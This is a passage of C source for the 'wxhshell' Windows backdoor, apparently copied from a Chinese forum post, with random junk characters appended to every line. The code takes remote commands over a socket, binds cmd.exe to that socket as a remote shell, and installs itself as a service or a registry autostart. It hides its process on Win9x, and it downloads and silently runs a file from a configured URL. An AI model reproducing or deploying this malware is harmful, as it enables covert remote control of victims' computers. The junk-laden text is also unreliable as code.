  else { -ybupUJcbv  
Ja2.1v|r .  
    switch(cmd[0]) { nwYeOa/t  
  ,kI1"@Tu  
  // 帮助 m-]"I8 [  
  case '?': { iBt5aUt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z m>69gl  
    break; 1owoh,V6  
  } F.9|$g*ip  
  // 安装 kM@,^`&  
  case 'i': { qKXn=J/0tA  
    if(Install()) s,= ^V/c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7va%-&.&t  
    else >@o*v*25  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T9 1Iz+j  
    break; JKGZ0yn  
    } 9:>vl0  
  // 卸载 yo=d"*E4^  
  case 'r': { O jmz/W  
    if(Uninstall()) G})mw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P7!Sc  
    else 3m'6cMQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "`wq:$R  
    break; 2J5dZYW  
    } NgQl;$  
  // 显示 wxhshell 所在路径 >#Y q&@G  
  case 'p': { Q*5d~Yr]R  
    char svExeFile[MAX_PATH]; >'eqOZM  
    strcpy(svExeFile,"\n\r"); 78"W ~`8  
      strcat(svExeFile,ExeFile); Gy5W;,$q  
        send(wsh,svExeFile,strlen(svExeFile),0);  qn .  
    break; SE1 tlP  
    } TnrMR1Zx  
  // 重启 JP]K\nQx'  
  case 'b': {  u[u=:Y+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,b8AB_yw  
    if(Boot(REBOOT)) \v<}{\.|$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R:E:Y|&#  
    else { e# DAa  
    closesocket(wsh); g  YZgo  
    ExitThread(0); {u5@Yp  
    } ? "gy`oCv  
    break; uo^>95lkv  
    } E*$:~w  
  // 关机 f$/D?q3N  
  case 'd': { w>e OERZa  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); okW3V}/x/z  
    if(Boot(SHUTDOWN)) OkM>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -llujB%;,e  
    else { ~Hq 2'  
    closesocket(wsh); ! ^W|;bq  
    ExitThread(0); }`X$ '  
    } b]~M$y60q  
    break; ?!ig/ufZ  
    } ,DjZDw  
  // 获取shell +q(D]:@,[  
  case 's': { .T7ciD  
    CmdShell(wsh); Kj7Osqu2bE  
    closesocket(wsh); E_z@\z MB  
    ExitThread(0); Zo` ^pQS  
    break; )xeVoAg  
  } t t=$:}A  
  // 退出 t%%I.zIV7  
  case 'x': { (0S"ZT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lZ|Ao0(  
    CloseIt(wsh); &xVWN>bd^  
    break; z t1Q_;  
    } W$&Q.Z  
  // 离开 m-:k]9I  
  case 'q': { Oj2[(7 mO/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TCYnErqk  
    closesocket(wsh); (]JJ?aAF  
    WSACleanup(); %+.]>''a  
    exit(1); S'WmPv  
    break; _MR2,mC  
        } >2rFURcD  
  } {>:2Ff]O:  
  } cIX59y#7  
:p{iBDA  
  // 提示信息 3ySnAAG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3+Q6<MS q  
} IRQ(/:]  
  } X!@Gv:TD  
`>V.}K^4  
  return; ZE9*i}r  
} /swTn1<Y  
?E`J-ncP  
// shell模块句柄 _tjH=Ff$  
int CmdShell(SOCKET sock) %w@(V([(c  
{ 1 >Op)T>{c  
STARTUPINFO si; qIk6S6  
ZeroMemory(&si,sizeof(si)); i|<*EXB"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4bO7rhve  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FvkKM+?F  
PROCESS_INFORMATION ProcessInfo; XDn$=`2  
char cmdline[]="cmd"; YpWu\oP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PU8R 0r2k\  
  return 0; &^}w|J?  
} '? d[ ip  
E?;W@MJi  
// 自身启动模式 m'S-h'a  
int StartFromService(void) BH}u\K  
{ N\p3*#M  
typedef struct .RT5sj\d  
{ 5Hr"}|J<8  
  DWORD ExitStatus; UkdQ#b1  
  DWORD PebBaseAddress; [~J4:yDd=  
  DWORD AffinityMask; R_^:<F0  
  DWORD BasePriority; :( `Q4D~l  
  ULONG UniqueProcessId; .{Xi&[jw  
  ULONG InheritedFromUniqueProcessId; i,~{{XS<  
}   PROCESS_BASIC_INFORMATION; (<f[$ |%  
r1[0#5kJ;J  
PROCNTQSIP NtQueryInformationProcess; *33Zt+  
N=wB1gJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &W ~,q(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y.>r>o"0  
{U4%aoBd8  
  HANDLE             hProcess; h7*m+/O  
  PROCESS_BASIC_INFORMATION pbi; $ }&6p6|  
J sH9IK:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wk3yz6V2  
  if(NULL == hInst ) return 0; )qKfTt N`  
n>@(gDq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L 0|u^J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rR7}SEa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m1(rAr1  
dkXK0k  
  if (!NtQueryInformationProcess) return 0; T# 8O:  
s^ 6S{XJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +>s[w{Svy  
  if(!hProcess) return 0; F`3I~(  
p1Els /|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WUHijHo5(8  
UE(%R1Py  
  CloseHandle(hProcess); :+u?A  
b&!X#3(KT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $idYG<],  
if(hProcess==NULL) return 0; @)1u  
<)rol  
HMODULE hMod; Oh|Hy/&6W  
char procName[255]; HK}C<gg  
unsigned long cbNeeded; M[X& Q  
8&3G|m1-2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m:'fk;khN  
@P% &Dha  
  CloseHandle(hProcess); wL}=$DN  
f#[Fqkmj  
if(strstr(procName,"services")) return 1; // 以服务启动 kQYX[e7n  
RhYf+?2  
  return 0; // 注册表启动 nlJxF5/  
} Fd3V5h  
r;9F@/  
// 主模块 (pAGS{{  
int StartWxhshell(LPSTR lpCmdLine) !"_\5$5i<X  
{ :V8 \^  
  SOCKET wsl; xvb5-tK -  
BOOL val=TRUE; ab6KK$s  
  int port=0; kMK-E<g  
  struct sockaddr_in door; p0[ %+n%  
>d_O0a*W-  
  if(wscfg.ws_autoins) Install(); )y._]is)b  
mI}1si=$  
port=atoi(lpCmdLine); m&fm<?|  
U"/":w ~  
if(port<=0) port=wscfg.ws_port; Td?a=yu:J  
\=i>}Sg  
  WSADATA data; O9jqeF`L=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4R.rSsAH  
%gmf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   10t9Qv/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /JJU-A(  
  door.sin_family = AF_INET; (oxe'\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =lA*?'kd  
  door.sin_port = htons(port); HPT$)NeNc  
GXf"a3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Eufw1vDa  
closesocket(wsl); u0\?aeg`  
return 1; 8eQ 4[wJY  
} jo/-'Lf{?  
um ,Zt  
  if(listen(wsl,2) == INVALID_SOCKET) { e0qU2  
closesocket(wsl); !5&% P b  
return 1; hjs[$ ,1  
} fp u^  
  Wxhshell(wsl); K8f;AK  
  WSACleanup(); r+ k5Bk'  
oF8#gn_  
return 0; (@[c;+x  
SBZqO'}7  
} =UT*1-yh R  
d%8hWlffz  
// 以NT服务方式启动 xXQDHc -Ba  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @.@O#  
{ (w `9*1NO  
DWORD   status = 0; C,HKao\  
  DWORD   specificError = 0xfffffff; |aIY  
`2( )Vf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 73 ix4C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 09HlL=0q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AQ7w5}g+V  
  serviceStatus.dwWin32ExitCode     = 0; %i 6i.TF  
  serviceStatus.dwServiceSpecificExitCode = 0; f+d[Q1  
  serviceStatus.dwCheckPoint       = 0; }\?UmuolQ  
  serviceStatus.dwWaitHint       = 0; EPkmBru ^  
<#k(g\/R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vu Vcv  
  if (hServiceStatusHandle==0) return; H}Z\r2  
5R"iF+p4  
status = GetLastError(); tY'fFz^Ho  
  if (status!=NO_ERROR) fq-e2MCX5  
{ Bs:INvhYW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f_I6g uDPz  
    serviceStatus.dwCheckPoint       = 0; xJlf}LEyF  
    serviceStatus.dwWaitHint       = 0; 68 vu  
    serviceStatus.dwWin32ExitCode     = status; _=S 4H  
    serviceStatus.dwServiceSpecificExitCode = specificError; o-H\vtOjE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); INt]OPD  
    return; +`'=K ;{U  
  } 2 ,RO  
|L%}@e Vw_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `v) :|Q  
  serviceStatus.dwCheckPoint       = 0; B~xT:r  
  serviceStatus.dwWaitHint       = 0; js^+{~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ti:PKpc  
} K8,Q^!5]"  
.ww~'5b0  
// 处理NT服务事件,比如:启动、停止 :|%k*z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %zsY=qT  
{ @A?Ss8p'  
switch(fdwControl) c%tb6@C  
{ % s&l^&ux  
case SERVICE_CONTROL_STOP: N/CL?Z>c  
  serviceStatus.dwWin32ExitCode = 0; ny'?Hl'Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J'4Pp<  
  serviceStatus.dwCheckPoint   = 0; \k&2nYVHf  
  serviceStatus.dwWaitHint     = 0; KFZ2%:6>  
  { QmxI ;l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ->_rSjnM{  
  } *ETSx{)8  
  return; ;=r_R!d@  
case SERVICE_CONTROL_PAUSE: {^(h*zxn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t`%Xxxu  
  break; 3}hJ`xQ  
case SERVICE_CONTROL_CONTINUE: Fp=O:]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !79eF)  
  break; -9)H [}.  
case SERVICE_CONTROL_INTERROGATE: ; D'6sd"  
  break; 0K T^V R  
}; (t[sSl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); - ,YoVB!T  
} |YEq<wbQ  
xNAX)v3Z  
// 标准应用程序主函数 we?# Dui  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~[a6  
{ v_G1YC7TU  
1xBgb/+  
// 获取操作系统版本 GoSdo  
OsIsNt=GetOsVer(); 7H=V|Btnc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9:9gam  
3:wN^!A}ve  
  // 从命令行安装 C6` Tck!  
  if(strpbrk(lpCmdLine,"iI")) Install(); UmEc")3  
2J;_9 g&M  
  // 下载执行文件 s]X0}"cz  
if(wscfg.ws_downexe) { r{g8CIwGQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C!X"0]@FA  
  WinExec(wscfg.ws_filenam,SW_HIDE); a)lS)*Y  
} 8@rddk  
Ar{7H)V:  
if(!OsIsNt) { Rq@M~;p  
// 如果时win9x,隐藏进程并且设置为注册表启动 W *.j=?)\[  
HideProc(); >a%C'H.A9  
StartWxhshell(lpCmdLine); 0)Nu  
} +%sMd]$,n  
else /Pv dP#!  
  if(StartFromService()) CNMcQP  
  // 以服务方式启动 ){}1u ?  
  StartServiceCtrlDispatcher(DispatchTable); H6/n  
else KATu7)e&~^  
  // 普通方式启动 oU`{6 ~;  
  StartWxhshell(lpCmdLine); 2p|ed=ly%  
,::f? Gc7j  
return 0; ~CX1WPMI:  
}
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只看该作者 1 发表于: 2006-10-10
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